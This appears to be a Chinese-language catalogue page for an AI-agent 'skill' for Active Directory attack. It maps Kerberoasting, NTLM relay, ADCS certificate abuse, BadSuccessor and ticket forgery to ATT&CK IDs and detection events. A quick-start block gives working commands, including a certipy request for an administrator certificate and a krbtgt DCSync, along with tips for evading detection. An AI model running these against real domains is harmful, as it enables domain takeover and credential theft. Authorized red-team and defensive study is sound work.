SuperAPI AI 工具集
合作ENAI 行业资讯收藏
Skill 广场active-directory-attack

active-directory-attack

安全与审计

查看项目

更新于 10-16 10:16

技能介绍

用途

该技能用于在 Windows Active Directory 域环境中进行攻击性安全评估。触发条件为：在获得任意域内立足点（凭据、哈希或未授权网络位置）后，对 Windows 域环境发起攻击。

主要能力

技能围绕以下攻击面组织：

  • Kerberos 利用：Kerberoasting、AS-REP roasting、委派（RBCD/约束/非约束）、票据伪造。
  • 强制认证 + NTLM/Kerberos 中继链：PetitPotam/DFSCoerce 等五种强制认证方法 → LDAP/ADCS 中继，NTLM 反射（CVE-2025-33073），Kerberos 中继与 DNS CNAME（CVE-2026-20929），影子凭据中继。
  • ADCS 证书模板滥用：ESC1-ESC16 及基于证书的域接管（含 EKUwu/ESC15 CVE-2024-49019、ESC8 中继、ESC16 CA 级覆盖）。
  • dMSA / BadSuccessor 提权：针对 Windows Server 2025 域的 CVE-2025-53779。
  • BloodHound CE 攻击路径发现：横向移动、DCSync、域统治级持久化。

技能包含一张“技术映射表”，将每项技术对应到 ATT&CK 编号、CWE、参考文档与脚本，例如：

  • BloodHound CE / SharpHound 枚举（T1482，CWE-732）
  • 密码喷洒 / PtH / PtT 横向移动（T1550.002、T1550.003）
  • LAPS / gMSA 密码读取（T1003）
  • Kerberoasting（T1558.003）、AS-REP roasting（T1558.004）
  • RBCD（T1558、T1098）、约束/非约束委派 S4U
  • 强制认证（T1187）、NTLM 中继（T1557.001）
  • ADCS ESC1/ESC15（T1649）、ESC8/ESC16
  • Golden/Silver/Diamond/Sapphire 票据（T1558.001/002）
  • DCSync（T1003.006）、noPac（CVE-2021-42278/87）
  • dMSA BadSuccessor（CVE-2025-53779）

使用方式

技能提供了“快速开始”命令序列，主要步骤包括：

# 0. 同步时钟到 DC（Kerberos 需 +/-5 分钟）
sudo ntpdate <DC_IP>   # or: faketime "$(net time -S <DC>)" <cmd>

# 1. 枚举：BloodHound CE 采集（Linux）
bloodhound-python -u user -p 'Pass' -d corp.local -dc dc01.corp.local -ns <DC_IP> -c all --zip
nxc ldap <DC_IP> -u user -p 'Pass' --bloodhound --collection All --dns-server <DC_IP>

# 2. 图中低成本收益：roast 所有可见对象
python3 scripts/kerberoast_audit.py -d corp.local --dc-ip <DC_IP> -u user -p 'Pass' --asrep --kerberoast

# 3. 强制认证 + 中继到 LDAP/ADCS
bash scripts/coerce_relay_chain.sh corp.local user 'Pass' <DC_IP> <RELAY_IP> ldap

# 4. ADCS 路径：查找 ESC1-16 并获取 DA 证书
python3 scripts/adcs_esc_finder.py -d corp.local -u user -p 'Pass' --dc-ip <DC_IP>
certipy req -u user@corp.local -p 'Pass' -ca CA -template Vuln -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip <DC_IP>

# 5. 检查 BadSuccessor 暴露
powershell -ep bypass -File scripts/Get-BadSuccessorOUPermissions.ps1

# 6. 域统治：DCSync krbtgt
impacket-secretsdump -just-dc-user 'corp\krbtgt' corp.local/da:'Pass'@<DC_IP>

技能还给出 OPSEC 与检测汇总表，列出每项技术对应的遥测/IOC、检测规则（Sigma/EDR）与 OPSEC 注意事项，例如：

  • SharpHound/LDAP 枚举：单主机大量 LDAP 查询、4662 目录访问；建议节流并用 ADWS 规避 LDAP 启发式检测。
  • Kerberoasting：4769 TGS-REQ 使用 RC4（0x17）针对多个 SPN；建议少而慢地请求、使用 /rc4opsec。
  • AS-REP roasting：4768 AS-REQ 无预认证、etype 23。
  • 强制认证：EFSRPC/DFSNM/RPRN 命名管道调用。
  • NTLM 中继/反射：4624/4648 登录到自身、非服务器发起 SMB→LDAP。
  • ADCS ESC：4886/4887 证书颁发异常。
  • 票据伪造：TGT 生命周期异常、无验证的 PAC。
  • DCSync：来自非 DC 的 4662 DRSUAPI GetNCChanges。
  • dMSA BadSuccessor：5137 dMSA 创建、5136 写入 msDS-ManagedAccountPrecededByLink。

深入参考文档

技能包含以下深度文档：

  • references/bloodhound-enum-lateral.md：BloodHound CE v8 / OpenGraph、SharpHound CE 与 bloodhound-ce 采集器、NetExec、高价值 Cypher、密码喷洒、PtH/PtT/OverPtH、LAPS v1/v2 + gMSA 读取、AdminSDHolder/DSRM/Skeleton-Key 持久化。
  • references/kerberos-roasting-delegation.md：Kerberoasting（含定向/GenericWrite）、AS-REP roasting、RBCD、约束/非约束委派、S4U2self/S4U2proxy 滥用、tgt::deleg、hashcat 模式。
  • references/coercion-relay.md：五种强制认证方法 + WebDAV/efsr_spray、NTLM 中继到 SMB/LDAP/ADCS、NTLM 反射（CVE-2025-33073）、Kerberos 中继与 DNS CNAME（CVE-2026-20929）、影子凭据中继。
  • references/adcs-abuse.md：ESC1-ESC16 目录（Certipy v5）、EKUwu/ESC15（CVE-2024-49019）、ESC16 CA 级覆盖、ESC8 中继、ESC9/ESC10 映射绕过、证书持久化。
  • references/ticket-forgery-dcsync.md：Golden/Silver/Diamond/Sapphire 票据、DCSync、noPac（CVE-2021-42278/87）、PAC 验证强制（CVE-2024-26248/29056）、信任/SID 历史与跨林。
  • references/dmsa-badsuccessor.md：dMSA 迁移内部机制、BadSuccessor（CVE-2025-53779）、补丁前后行为、SharpSuccessor / bloodyAD / NetExec 工具、检测。

适用场景

适用于获得域内立足点后的 Active Directory 渗透测试与红队评估，覆盖从枚举、凭据窃取、横向移动到域接管与持久化的完整链路，并附带检测规避与防御方检测要点。

限制

资料未提供具体授权要求、法律合规说明、平台兼容性细节、脚本依赖版本或价格/收费信息，这些内容暂未提供。技能中的技术仅应在获得明确授权的环境中使用。